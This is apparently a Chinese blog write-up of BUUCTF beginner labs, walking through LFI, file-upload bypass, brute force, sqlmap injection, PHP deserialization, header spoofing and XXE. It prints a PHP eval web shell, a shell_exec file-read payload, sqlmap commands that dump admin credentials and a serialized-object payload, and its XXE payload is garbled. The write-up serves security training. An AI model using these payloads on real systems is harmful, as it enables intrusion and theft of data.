您现在的位置是:首页 > 技术教程 正文

【网络安全CTF】BUUCTF(Basic篇)

admin 阅读: 2024-03-16
后台-插件-广告管理-内容页头部广告(手机)

Linux Labs

解题思路:已给用户名密码,直接用ssh工具连接即可获取flag
在这里插入图片描述在这里插入图片描述
查找flag在跟下
在这里插入图片描述
提交完成。

BUU LFI COURSE 1

在这里插入图片描述
访问链接:为php代码审计题,看题目要求构造GET请求读取文件
http://9a7d4988-99f9-4c29-88d8-600e19887723.node4.buuoj.cn:81/?file=/…/…/flag
在这里插入图片描述
在这里插入图片描述

Upload-Labs-Linux 靶场

在这里插入图片描述
访问链接:为uploab-labs靶场,这个共有20关过一关可获取flag。
在这里插入图片描述
选择第一关:查看代码发现为前端js限制文件类型,这种直接使用抓包进行绕过
在这里插入图片描述
准备shell木马文件:

<?php @eval($_POST['caidao']);?>
  • 1

修改扩展名为.jpg 或.png或.gif
文件上传抓包:
在这里插入图片描述
修改扩展名为php
在这里插入图片描述
文件存放位置:
在这里插入图片描述
在这里插入图片描述
使用蚁剑链接
在这里插入图片描述
在这里插入图片描述
成功获取flag,其他关卡不在说明,通关思路都为上传绕过。

BUU BRUTE 1

在这里插入图片描述
一个登陆框:
在这里插入图片描述
随便输入账号密码:
在这里插入图片描述
提示用户名错误:
在这里插入图片描述
试试常用用户名admin、root、administrator等
发现使用admin作为用户名,提示密码为四位数字。
在这里插入图片描述
使用暴力破解:
使用字典生成器生成4位数密码:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
密码破译为:6490

在这里插入图片描述
在这里插入图片描述

BUU SQL COURSE 1

在这里插入图片描述
明显的sql注入
在这里插入图片描述
使用sqlmap直接爆数据库
在这里插入图片描述加参数 -dbs
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -dbs
在这里插入图片描述
其中news和test比较显眼,查news数据库
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news --tables
在这里插入图片描述
查看admin表内字段

sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin --columns
在这里插入图片描述
sqlmap.exe -u “http://b36e1058-d0a1-450b-b960-cf2f1d4a79bd.node4.buuoj.cn:81/backend/content_detail.php?id=1” -D news -T admin -C id,password,username --dump
在这里插入图片描述
admin 加密码登陆注意这里不是md5加密,开始看错了,解半天没解出发现是明文存储的,无语。
在这里插入图片描述

BUU CODE REVIEW 1

在这里插入图片描述
代码审计:

在这里插入图片描述
代码片段:

<?php /** * Created by PhpStorm. * User: jinzhao * Date: 2019/10/6 * Time: 8:04 PM */ highlight_file(__FILE__); //高亮显示代码 class BUU { public $correct = ""; //定义全局变量 public $input = "";//定义全局变量 public function __destruct() { try { $this->correct = base64_encode(uniqid()); //uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID,base64_encode为转换为bash64编码 if($this->correct === $this->input) { /判断两个属性是否全等 echo file_get_contents("/flag"); //若全等,则打印根目录下的flag } } catch (Exception $e) { } } } if($_GET['pleaseget'] === '1') { //判断pleaseget==='1'&&pleasepost==='2'&&md1!=md52&&md5(md51)==md5(md52) if($_POST['pleasepost'] === '2') { if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) { unserialize($_POST['obj']); } } }
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32

第二段代码get参数简单为

http://IP/?pleaseget=1
  • 1

第一段代码使用空数组绕过,给POST参数

pleasepost=2&md51=QNKCDZO&md52=s155964671a&obj=O:3:"BUU":2:{s:7:"correct";s:0:"";s:5:"input";R:2;}
  • 1

此题详解可以看:https://blog.csdn.net/weixin_43965597/article/details/126381171
在这里插入图片描述

sqli-labs

参考之前写的:https://blog.csdn.net/qq_39583774/article/details/120722112?spm=1001.2014.3001.5501

BUU UPLOAD COURSE 1

在这里插入图片描述
上传实验
这里我传的docx的文件,可以看到变成了jpg的格式
在这里插入图片描述
并看不到文件内容
在这里插入图片描述
使用抓包工具修改包:
在这里插入图片描述
尝试连接:

在这里插入图片描述

测试连接失败:
在这里插入图片描述
使用其他方式,发现这里不对,上传一个phpinfo发现能够执行,但是执行的jpg格式。
在这里插入图片描述

既然能够执行php那我们直接写一个php打印flag即可。

<?php $output = shell_exec('cat /flag'); echo "$output"; ?>
  • 1
  • 2
  • 3
  • 4

上传直接访问即可拿到flag
在这里插入图片描述

BUU BURP COURSE 1

在这里插入图片描述

在这里插入图片描述
打开后直接显示只能本地访问,本地ip的由X-Forwarded-For和X-Real-IP进行构建
这里是使用的X-Real-IP构建的
在这里插入图片描述

在这里插入图片描述

BUU XXE COURSE 1

XXE漏洞是外部实体注入攻击
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
用burp抓包,这里是个xml的提交
在这里插入图片描述

我们在这定义了一个实体 xxe,它将指向/flag 文件,然后我们在 XML 数据中使用 &xxe; 引用这个实体,这样攻击者就可以将该文件中的内容读取到 HTTP 响应中。

]> &xxe; test
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

在这里插入图片描述

标签:
声明

1.本站遵循行业规范,任何转载的稿件都会明确标注作者和来源;2.本站的原创文章,请转载时务必注明文章作者和来源,不尊重原创的行为我们将追究责任;3.作者投稿可能会经我们编辑修改或补充。

在线投稿:投稿 站长QQ:1888636

后台-插件-广告管理-内容页尾部广告(手机)
关注我们

扫一扫关注我们,了解最新精彩内容

搜索
排行榜